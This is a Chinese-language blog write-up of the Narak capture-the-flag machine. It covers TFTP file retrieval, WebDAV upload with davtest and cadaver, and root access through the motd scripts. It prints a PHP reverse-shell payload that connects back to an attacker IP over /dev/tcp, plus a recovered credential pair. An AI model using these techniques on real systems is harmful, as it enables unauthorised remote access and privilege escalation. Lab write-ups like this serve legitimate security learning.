首页 > 其他分享 >Narak -- tftp、dav和motd渗透

Narak -- tftp、dav和motd渗透

时间:2023-05-07 17:33:35浏览次数:36  
标签:shell motd webdav Narak -- sudo xx tftp txt

主机发现

sudo nmap -sT --min-rate 10000 -p- xx.xx.xx.xx -oA nmapscan/ports

sudo nmap -sT -sV -sC -O -p22,80 xx.xx.xx.xx -oA nmapscan/detail

sudo nmap -sU --top-ports 20 xx.xx.xx.xx -oA nmapscan/udp

发现了一个tftp,能够进行渗透

sudo nmap --script=vuln -p22,80 xx.xx.xx.xx -oA nmapscan/vuln

访问网页

是有关于一个宗教主题的

目录爆破

sudo gobuster -u http://xx..xx.xx/ -w xx 

sudo dirb -u http://xx.xx.xx.xx 

 发现了一个webdav,对webdav的解释

 并没有发现很多有意义的东西,深度爆破

sudo dirb -u http://xx.xx.xx.xx -X txt,php,zip,rar,sql -w xx 

 有个提示说narak的们在creds.txt中

通过tftp尝试下载creds.txt

tftp xx.xx.xx.xx

tftp>get creds.txt

成功下载

展开并进行base64解码

cat creds.txt | base64 -d 

yamdoot:Swarg  获得凭据,使用凭据的是ssh和webdav这两个地方

一个是ssh

ssh登录

sudo ssh [email protected]

登陆失败

webdav登录

网页访问

xx.xx.xx.xx/webdav 弹出登录凭据

 但是里面没有东西

 所以切换通过命令行方式连接

davtest命令登录

davtest ip 凭据
davtest -url http://xx.xx.xx.xx/webdav -auth yamdoot:Swarg

查看有什么具有执行权限的后缀

发现php是具有执行权限的

也可以通过cadaver登录 kali默认用这个客户端登录

cadaver http://xx.xx.xx.xx/webdav

输入凭据

构造一个php的反弹shell

sudo vim shell.txt 

<?php exec("bash -c 'bash -i >& /dev/tcp/kali's ip/1234 0>&1'");?>

通过cadaver将文件put进目标机中

 网页访问并点击

 kali端进行监听成功获取shell

权限查看

查找能够写入的文件

find / -writable -type f -not path "/proc/*" -not -path "/sys/*" 2> /dev/null 

 查看这个脚本的文件

发现是brainfuck的格式

 保存这个语法并用命令解释得到一串字符

应该是一串密码

看看有什么用户进行拼接

cat /etc/passwd 

有narak yamdoot inferno 

通过inferno成功登录

查看inferno这个shell的权限

id uname -a   whoami   rsa_release -a ip a 

家目录查看flag

发现这里有欢迎的信息,直接查看motd所在的文件夹查看是否有相应对应的sh脚本操作

 在update-motd.d这个目录(motd全局性,脚本执行性)下的都是执行信息,00-header的是最优先执行的脚本,所以先查看00-header

发现是一个sh脚本,通过写入bash反弹shell

 然后重新登录infernossh并进行kali监听成功拿下root权限的shell

标签:shell,motd,webdav,Narak,--,sudo,xx,tftp,txt
From: https://www.cnblogs.com/lisenMiller/p/17379645.html

相关文章

  • Spring复习笔记
    Spring架构核心概念IOC&DIIOCDIbeanbean的实例化......
  • 【web 开发基础】PHP 中数组的定义和使用
    前言在PHP中定义数组非常灵活。与其他许多编程语言中的数组不同,PHP不需要在创建数组时指定数组的大小和类型,甚至无需再使用数组前先行声明,也可以在同一个数组中存储任何类型的数据,PHP支持一维和多维数组,可以由用户创建,也可以由一些特定的数据库处理函数从数据库查询中生成数组,或者......
  • MyCat05——基于Docker搭建MySQL主从复制
    1安装mysql的镜像如果服务器较少,为了充分发挥现有服务器的利用率,可以使用容器化技术来安装mysql。如果服务器没有docker,需要先安装dockeryuminstall-ydockerdocker安装后,启动服务servicedockerstart下载mysql5.7版本的docker镜像dockerpullmysql:5.72启动mysql服务启动......
  • scandir,major和minor,state,无锁机制----比较交换CAS Compare And Swap,dirent,sprintf,fop
    文章目录1.Linuxc目录操作函数scandir2.Linux系统设备(device)的major和minornumber3.state4.无锁机制----比较交换CASCompareAndSwap5.dirent6.sprintf7.fopen8.atoi函数9.strtok10.strtol1.Linuxc目录操作函数scandir(1)头文件:#include<dirent.h>定义函数:intscandir(......
  • 分布式架构整体框架
    文章目录一、分布式整体框架图1.架构eg12.架构eg2二、什么是分布式系统?1.什么是分布式系统?2.分布式系统的挑战3.分布式系统特性与衡量标准4.组件、理论、协议5.概念与实现6.总结三、分布式学习最佳实践:从分布式系统的特征开始(附思维导图)1.分布式特征的思维导图2.分布式系统的一般特......
  • 《后台开发:核心技术与应用实践》第五章 核心技术与应用实践
    文章目录一、基础知识二、strace1.基础知识2.strace:跟踪系统调用来让开发者知道一个程序在后台做什么事情(1)strace基本用法(2)strace跟踪信号传递(3)统计系统调用:strace-cXXXX(5)输出到其他文件:strace-oXXX(6)每个系统调用所花费的时间:strace-TXXX(7)记录系统调用发生的时间:strace-tXX......
  • (第26章)LinuxC本质中链表、二叉树和哈希表
    文章目录一、单链表的结构决定只能出栈,入栈1.链表的结构2.链表与数组的区别3.单链表所有基本操作代码(1)链表的插入(2)链表的查找(3)链表的删除(3)遍历整个链表(4)销毁整个链表4.习题5.C++NULL指针二、双向链表结构决定可以出队和入队1.在上面的单项链表上改改,得到双向链表2.改进双向链表:新增......
  • 面试经验5-4
    介绍一下linux的内存管理内存管理的目标:提升内存读写的速度(Cache)。保护OS,防止用户进程去读写OS的内存空间。包含用户进程:用户进程之间不能随意的存取对方的内存空间。操作正确:地址转换,内存的分配以及回收。内存的分段和分片。​ a.碎片问题。碎片有两种:分页内部......
  • Cesium:设置加载时的初始视角
    先选好位置,并调整好视角,然后按F12打开控制台分别输入:viewer.camera.positionviewer.camera.headingviewer.camera.pitchviewer.camera.roll来分别获取你选好的位置的坐标,视角等信息,然后利用viewer.camera.setView进行设置。viewer.camera.setView({//Cesium的坐......
  • 弹性布局
    弹性布局属性说明display指定html元素设置flex(弹性布局)flex-direction指定弹性盒子排列方式横/竖flex-wrap控制是否换行flex-flowflex-direction和flex-wrap两个属性的简写justify-content主轴的排列顺序align-items副轴的排列顺序align-c......